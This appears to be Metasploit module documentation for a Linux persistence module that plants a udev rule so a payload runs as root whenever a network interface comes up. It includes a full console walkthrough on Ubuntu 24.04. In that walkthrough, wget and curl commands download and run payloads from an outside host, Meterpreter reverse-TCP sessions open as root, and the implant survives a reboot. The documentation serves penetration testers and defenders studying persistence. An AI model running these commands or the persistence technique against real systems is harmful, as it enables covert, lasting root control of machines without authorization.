Udev - Metasploit Framework

Vulnerable Application

This is a post module that performs a persistence installation on a Linux system using udev. The persistence execution with be triggered with root privileges everytime a network interface other than l0 comes up. Execution is triggered through at command, so it must be installed on the target.

Verification Steps

Start msfconsole
Obtain a root session on the target machine
use exploit/linux/persistence/udev
set session -1
exploit

Options

PAYLOAD_NAME

Name of the payload file to write. Defaults to random.

UDEV_PATH

Path to udev rules folder. Defaults to /lib/udev/rules.d/

UDEV_RULE

Rule name for udev. Defaults to random

Scenarios

Module usage

Ubuntu 24.04

Initial shell

resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 2.2.2.2
lhost => 2.2.2.2
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 2.2.2.2:4446 
[*] Using URL: http://2.2.2.2:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO Qjdo0XSK --no-check-certificate http://2.2.2.2:8082/l; chmod +x Qjdo0XSK; ./Qjdo0XSK& disown
msf exploit(multi/script/web_delivery) > 
[*] 1.1.1.1    web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (2.2.2.2:4446 -> 1.1.1.1:43842) at 2025-12-20 16:24:02 -0500

msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 1.1.1.1
OS           : Ubuntu 24.04 (Linux 6.8.0-31-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > background
[*] Backgrounding session 1...

Persistence install

msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/udev 
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/udev) > set session 1
session => 1
msf exploit(linux/persistence/udev) > set WritableDir /opt/
WritableDir => /opt/
msf exploit(linux/persistence/udev) > exploit
[*] Command to run on remote host: curl -so ./eULGakHgwKeL http://2.2.2.2:8080/t70WmtC4mNeBieRpZqn09Q;chmod +x ./eULGakHgwKeL;./eULGakHgwKeL&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Fetch handler listening on 2.2.2.2:8080
[*] HTTP server started
[*] Adding resource /t70WmtC4mNeBieRpZqn09Q
[*] Started reverse TCP handler on 2.2.2.2:4444 
msf exploit(linux/persistence/udev) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. likely exploitable
[*] Writing '/opt//Z7CpOCzhzq' (271 bytes) ...
[+] /opt//Z7CpOCzhzq written
[+] /lib/udev/rules.d//41-EInB5urA.rules written
[*] Triggering udev rule
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/1.1.1.1_20251220.5601/1.1.1.1_20251220.5601.rc
[*] Client 1.1.1.1 requested /t70WmtC4mNeBieRpZqn09Q
[*] Sending payload to 1.1.1.1 (curl/8.5.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:38100) at 2025-12-20 16:56:03 -0500

Trigger a reboot to test the persistence

msf exploit(linux/persistence/udev) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 1394 created.
Channel 8 created.
reboot

[*] 1.1.1.1 - Meterpreter session 1 closed.  Reason: Died


Terminate channel 8? [y/N]  y
[-] Send timed out. Timeout currently 15 seconds, you can configure this with sessions --interact <id> --timeout <value>
msf exploit(linux/persistence/udev) > 
[*] Client 1.1.1.1 requested /t70WmtC4mNeBieRpZqn09Q
[*] Sending payload to 1.1.1.1 (curl/8.5.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 3 opened (2.2.2.2:4444 -> 1.1.1.1:35550) at 2025-12-20 16:56:38 -0500
[*] 1.1.1.1 - Meterpreter session 2 closed.  Reason: Died

msf exploit(linux/persistence/udev) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > getuid
Server username: root
meterpreter >